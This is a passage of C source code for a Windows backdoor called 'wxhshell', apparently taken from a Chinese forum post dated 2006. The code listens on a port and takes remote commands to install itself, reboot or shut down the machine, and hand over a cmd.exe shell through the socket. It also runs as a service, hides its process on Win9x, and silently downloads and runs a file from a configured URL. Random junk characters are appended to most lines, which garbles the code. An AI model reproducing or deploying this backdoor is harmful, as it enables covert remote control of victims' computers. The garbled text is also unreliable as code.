  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NkjQyMF  
  } $Zu4tuXA  
  else { CDTk  
IpaJ<~ p  
    switch(cmd[0]) { Jk6/i;4|  
  -)->Jx:{  
  // 帮助 l`5}i|4KTW  
  case '?': { omUl2C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FDGKMGZ  
    break; ywsz"/=@  
  } Vo9)KxR  
  // 安装  k9VQ6A  
  case 'i': { uwS'*5tU  
    if(Install()) B=RKi\K6a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0\ytBxL  
    else kp &XX|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?$8 ,j+&I  
    break; =B{$U~}  
    } &MGgO\|6  
  // 卸载 7_'k`J@_  
  case 'r': { BKjPmrZ|  
    if(Uninstall()) fS$Yl~-m?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V{aIhH>P  
    else }y=n#%|i.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3|9U'r!c  
    break; b!tZbX#  
    } E6&uZr  
  // 显示 wxhshell 所在路径 r Xk   
  case 'p': { : w`i  
    char svExeFile[MAX_PATH]; kU9AfAe  
    strcpy(svExeFile,"\n\r"); LF,c-Cv!jL  
      strcat(svExeFile,ExeFile); ;7og  
        send(wsh,svExeFile,strlen(svExeFile),0); b8-^wJH!  
    break; WaO;hy~us  
    } Ei(`gp  
  // 重启 1~ZHC[ `  
  case 'b': { By"ul:.D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H(ftOd.y  
    if(Boot(REBOOT)) %KVRiX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>k~yaju/  
    else { <HX-qNA?  
    closesocket(wsh); HBkQ`T  
    ExitThread(0); _f2iz4  
    } 1~iBzPU2  
    break; /SM#hwFxJ&  
    } _"e( ^yiK  
  // 关机 &(U=O?r7  
  case 'd': { Ita!07  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M(f*hOG{Y  
    if(Boot(SHUTDOWN)) / z>8XM&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rO >wX_  
    else { (YH{%8 Z0  
    closesocket(wsh); # 2t\>7]  
    ExitThread(0); V\lF:3C  
    } JG+o~tQC  
    break; Gqu0M`+7  
    } #+Gs{iXr  
  // 获取shell t $ ~:C  
  case 's': { ;."{0gq  
    CmdShell(wsh); ,3TD $2};.  
    closesocket(wsh); kR|DzB7  
    ExitThread(0); 2F)OyE  
    break; .\\#~r`t3  
  } /]58:euR  
  // 退出 G!lykk]  
  case 'x': { )uJ`E8>-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WQ`P^5e  
    CloseIt(wsh); Z"&ODVP  
    break; wx7>0[zE  
    } KD<`-b)7<  
  // 离开 8pKPbi;(2  
  case 'q': { !LSWg:Ev+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #z5?Y2t7~^  
    closesocket(wsh); $f-pLF+x  
    WSACleanup(); N9hWx()v  
    exit(1); sSb&r  
    break; g}`CdVQ2M<  
        } R1%T>2"~&  
  } !f[N&se  
  } 3JO:n6  
B ~bU7.Cd  
  // 提示信息 3gXUfv2ID  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #3jZ7RqzQ  
} HUX+d4sg  
  } H zK=UcD  
[-}%B0S**  
  return; J\},o|WI  
}  C3Z(k}  
~oyPmIcb  
// shell模块句柄 E0'6!9y  
int CmdShell(SOCKET sock) q"vT]=Y}:  
{ )CU(~s|s  
STARTUPINFO si; uB9+E%jOdQ  
ZeroMemory(&si,sizeof(si)); 6iS+3+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qt)mUq;>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %[;KO&Ga  
PROCESS_INFORMATION ProcessInfo; (bXp1*0 ;  
char cmdline[]="cmd"; r+obm)Qtp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SQRz8,sqkw  
  return 0; W# /Ol59  
} g[Y$SgJ  
` OK }q  
// 自身启动模式 TMs\#  
int StartFromService(void) &Vm[5XW  
{ ~~ w4854  
typedef struct @J)vuGS  
{ jP]'gQ!-w  
  DWORD ExitStatus; *]k"H`JoFC  
  DWORD PebBaseAddress; 2^+"GCo  
  DWORD AffinityMask; Gj0NN:  
  DWORD BasePriority; tt91)^GdYa  
  ULONG UniqueProcessId; J)+eEmrU  
  ULONG InheritedFromUniqueProcessId; smNr%}_g  
}   PROCESS_BASIC_INFORMATION; A`8If  
:@L5=2Z+  
PROCNTQSIP NtQueryInformationProcess; x F#)T *  
y2>] gX5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U3QnWPt}>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rx<F^J  
Lr&tpB<  
  HANDLE             hProcess; #v<+G=r*O  
  PROCESS_BASIC_INFORMATION pbi; kDQXP p  
Cm>F5$l{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sy55w={  
  if(NULL == hInst ) return 0; bvKi0-  
}2{#=Elh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c`Cn9bX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); : Dlk `?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BcWReyO<M  
W525:h52{  
  if (!NtQueryInformationProcess) return 0; jTIn@Q  
VP&lWPA}\$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9p<l}h7g  
  if(!hProcess) return 0; |@F<ajlV  
o\#e7Hqbh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bx> D  
C09@2M'  
  CloseHandle(hProcess); j3U8@tuG  
#e[5O| V~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sj~'.Zs%  
if(hProcess==NULL) return 0; Qp}<8/BM\  
^EZoP:x(oE  
HMODULE hMod; ^q$sCt}  
char procName[255]; Q]C1m<x  
unsigned long cbNeeded; D]REZuHOI  
xe' *%3-v)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5Z'pMkn3  
.'M]cN~  
  CloseHandle(hProcess); GzX@Av$  
<Z Ls+|1  
if(strstr(procName,"services")) return 1; // 以服务启动 6IA~bkc}  
$= gv  
  return 0; // 注册表启动 }N NyUwFa  
} +9t@eHJT1  
y)2]:nD`B  
// 主模块 d?JVB  
int StartWxhshell(LPSTR lpCmdLine) SrxX-Hir  
{ [&$z[/4:8c  
  SOCKET wsl; w$_ooQ(_;Q  
BOOL val=TRUE; LF8B5<[O  
  int port=0; G|V ^C_:  
  struct sockaddr_in door; G 8@%)$A  
ufmFeeg  
  if(wscfg.ws_autoins) Install(); LS;kq',  
|dvcDx0|K  
port=atoi(lpCmdLine); 0z .&  
2ma.zI@^u9  
if(port<=0) port=wscfg.ws_port;  )57OZ  
,+XQ!y%  
  WSADATA data; .d;/6HD[y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]0o78(/w2  
=6>mlI>i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q^gd1K<N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4JucNGv  
  door.sin_family = AF_INET; H4UnF5G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6d,"GT  
  door.sin_port = htons(port); F$.M2*9  
NWFZ:h@v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W /IyF){  
closesocket(wsl); +:D0tYk2B  
return 1; *}FoeDe  
} &#~yci2{  
8YCtU9D  
  if(listen(wsl,2) == INVALID_SOCKET) { !5pp A  
closesocket(wsl); 'kp:yI7w  
return 1; rLp0VKPe  
} CpA=DnZ  
  Wxhshell(wsl); R5Ti|k.~Y"  
  WSACleanup(); RP6QS)|  
[mX\Q`)QP  
return 0; <[(xGrEZV  
rN OwB2e  
} $H?v  
_bW#* Y5  
// 以NT服务方式启动 o;}o"-s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R6!t2gdKe@  
{ 6ZX{K1_q  
DWORD   status = 0; n{|~x":9V  
  DWORD   specificError = 0xfffffff; s3oK[:/  
&r jMGk"&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >[NNu Y~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +hi!=^b]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '(=krM9;  
  serviceStatus.dwWin32ExitCode     = 0; sOv:/'  
  serviceStatus.dwServiceSpecificExitCode = 0; wTqgH@rGtR  
  serviceStatus.dwCheckPoint       = 0; K-sJnQ23'  
  serviceStatus.dwWaitHint       = 0; %-> X$,Q :  
1Z|q0-Dw0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DdPU\ ZWR  
  if (hServiceStatusHandle==0) return; Ee^2stc-  
*IfLoKS'  
status = GetLastError(); [/\}:#MLe  
  if (status!=NO_ERROR)  9/`T]s"  
{ *$Bx#0J8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <t\!g  
    serviceStatus.dwCheckPoint       = 0; (6!W8x7  
    serviceStatus.dwWaitHint       = 0; Nn>Oq+:  
    serviceStatus.dwWin32ExitCode     = status; VM88#^  
    serviceStatus.dwServiceSpecificExitCode = specificError; G,3.'S,7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s&TPG0W  
    return; \9jEpE^Ju(  
  } ch!/k  
G*JasHFs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gg$4O8  
  serviceStatus.dwCheckPoint       = 0; V\vt!wBcB  
  serviceStatus.dwWaitHint       = 0; !o1+#DL)MU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 16Cd0[h?  
} !W^P|:Qt  
f:bUM/Ud  
// 处理NT服务事件,比如:启动、停止 }fU"s"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =*>ri  
{ QbrR=[8b  
switch(fdwControl) sYE|  
{ $MhfGMk!'  
case SERVICE_CONTROL_STOP: Y?IvG&])  
  serviceStatus.dwWin32ExitCode = 0; 3qggdi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wN Mf-~  
  serviceStatus.dwCheckPoint   = 0; ~+ [T{{  
  serviceStatus.dwWaitHint     = 0; V(wm?Cc]  
  { Klrd|;C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WstX>+?'  
  } S+2we  
  return; ;iq H:wO  
case SERVICE_CONTROL_PAUSE: 1K\z amBg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; = Zi'L48  
  break; &Zy%Zz  
case SERVICE_CONTROL_CONTINUE: JP{Y Q:NF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "d"6.ND  
  break; <!;NJLe`  
case SERVICE_CONTROL_INTERROGATE: SJ*qgI?}T  
  break; zPm|$d  
}; Ndmki 7A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&BT#8ELG  
} YUjKOPN  
;r?s7b/>  
// 标准应用程序主函数 T\v~"pMu*0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e5 N$+P"  
{ '"C& dia  
\$+#7( K  
// 获取操作系统版本 [[s^rC<d  
OsIsNt=GetOsVer(); =[do([A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R+r;V]-/  
pL5Bz!_r  
  // 从命令行安装 JCjV,  
  if(strpbrk(lpCmdLine,"iI")) Install(); # KUN ZW  
I+eKuWB  
  // 下载执行文件 dt5`UBvUg  
if(wscfg.ws_downexe) { ^UmhSxQ##  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zD@RW<M  
  WinExec(wscfg.ws_filenam,SW_HIDE); g|Xjw Ti8$  
} LkyT4HC8n  
cC pNF `DN  
if(!OsIsNt) { Ju-#F@38  
// 如果时win9x,隐藏进程并且设置为注册表启动 3w&Z:<  
HideProc(); wd*V,ZN7  
StartWxhshell(lpCmdLine); )0o|u>  
} bQ`2ll*(  
else Z{^Pnit  
  if(StartFromService()) 9]gV#uF  
  // 以服务方式启动 Bo4iX,zu  
  StartServiceCtrlDispatcher(DispatchTable); J3 xi5S  
else C]a iu  
  // 普通方式启动 k r5'E#  
  StartWxhshell(lpCmdLine); _};T:GOT  
Iu ve~ugO  
return 0; k $E{'Dv  
}
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只看该作者 1 发表于: 2006-10-10
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